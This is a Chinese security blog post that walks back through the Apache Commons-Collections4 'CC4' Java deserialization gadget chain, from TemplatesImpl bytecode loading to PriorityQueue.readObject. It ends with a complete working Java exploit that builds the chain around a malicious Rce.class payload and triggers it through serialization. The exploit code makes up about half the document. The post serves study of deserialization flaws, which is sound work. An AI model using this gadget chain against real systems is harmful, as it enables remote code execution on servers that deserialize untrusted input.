【代码审计】CC4链

原创

十月的进阶之路
十月的进阶之路

十月的进阶之路

2026年6月6日 11:39
中国香港

在小说阅读器读本章

去阅读

Commons-Collections4 4.0

本文我们来介绍最后一条利用链CC4，由于在之前的文章中已经详细介绍过其他的利用链，而CC4链可以看做是CC3和CC2的组合，source点使用的是CC2链中PriorityQueue类下的readObject方法，sink点为CC3链的TemplatesImpl动态恶意字节码加载，因此整体而言没有什么新奇的地方。我们来整体过一遍，详细的细节就不再重复。从TemplatesImpl中的内部类TransletClassLoader下的defineClass方法出发。

继续检索defineClass方法的相关引用，发现defineTransletClasses方法中存在defineClass方法的调用。

继续检索defineTransletClasses方法的相关引用，发现getTransletInstance方法中存在defineTransletClasses方法的调用。

继续检索getTransletInstance方法的相关引用，发现newTransformer方法中存在getTransletInstance方法的调用。

继续检索newTransformer方法的相关引用，发现TrAXFilter类下的构造函数中存在newTransformer方法的调用。

继续检索获取构造函数的相关代码，发现InstantiateTransformer类下的transform方法中存在getConstructor获取指定类的构造函数，因此我们可将TrAXFilter类作为input输入，同时将paramTypes(iParamTypes)赋值为Templates.class，args(iArgs)赋值为TemplatesImpl实例。

继续检索transform方法的相关引用，发现TransformingComparator类下的compare调用了transform方法，也就是前一篇文章中的CC2链中的一部分。

继续检索compare方法的上层引用，发现PriorityQueue类下的siftDownUsingComparator方法调用了compare方法。

继续检索siftDownUsingComparator方法的上层引用，发现PriorityQueue类下的siftDown方法调用了siftDownUsingComparator方法。

继续检索siftDown方法的上层引用，发现PriorityQueue类下的heapify方法调用了siftDown方法。

继续检索heapify方法的上层引用，发现PriorityQueue类下的readObject方法调用了heapify方法。

到此我们逆向分析了从sink点到source的整条链路，当然其中有一些判断条件需要满足，都在之前的文章中详细解释过，这里不再赘述，给出最后的完整代码。

package com.test;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.PriorityQueue;

import javax.xml.transform.Templates;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.map.LazyMap;

public class App {
    static class ZeroComparator implements Comparator<Object>, Serializable {
        @Override
        public int compare(Object o1, Object o2) {
            return 0;
        }
    }
    public static void main(String[] args) throws Exception{

        TemplatesImpl templatesImpl = new TemplatesImpl();

        Field _name = TemplatesImpl.class.getDeclaredField(\"_name\");
        _name.setAccessible(true);
        _name.set(templatesImpl, \"test\");

        byte[] code = Files.readAllBytes(Paths.get(\"Rce.class\"));
        byte[][] codes = {code};
        Field _bytecodes = TemplatesImpl.class.getDeclaredField(\"_bytecodes\");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templatesImpl, codes);

        TransformerFactoryImpl transformerFactoryImpl = new TransformerFactoryImpl();
        Field _tfactory = TemplatesImpl.class.getDeclaredField(\"_tfactory\");
        _tfactory.setAccessible(true);
        _tfactory.set(templatesImpl, transformerFactoryImpl);

        // templatesImpl.newTransformer();

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer<>(TrAXFilter.class),
            new InstantiateTransformer<>(new Class[]{Templates.class}, new Object[]{templatesImpl})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

        // chainedTransformer.transform(\"\");

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1),new ZeroComparator());

        // transformingComparator.compare(1, 2);

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Field transformer = TransformingComparator.class.getDeclaredField(\"transformer\");
        transformer.setAccessible(true);
        transformer.set(transformingComparator, chainedTransformer);

        serialization_cc4(priorityQueue);
        unserialization_cc4(\"./oob.bin\");

    }

    public static void serialization_cc4(Object object) {

        try {

            ObjectOutputStream oob = new ObjectOutputStream(
                new FileOutputStream(\"./oob.bin\")
            );

            oob.writeObject(object);

            oob.close();

        } catch (Exception e) {
            // TODO: handle exception
            e.printStackTrace();
        }

    }

    public static void unserialization_cc4(String path){

        try {
            ObjectInputStream objectInputStream = new ObjectInputStream(
                new FileInputStream(path)
            );

            objectInputStream.readObject();

            objectInputStream.close();

        } catch (Exception e) {
            // TODO: handle exception
            e.printStackTrace();
        }

    }

}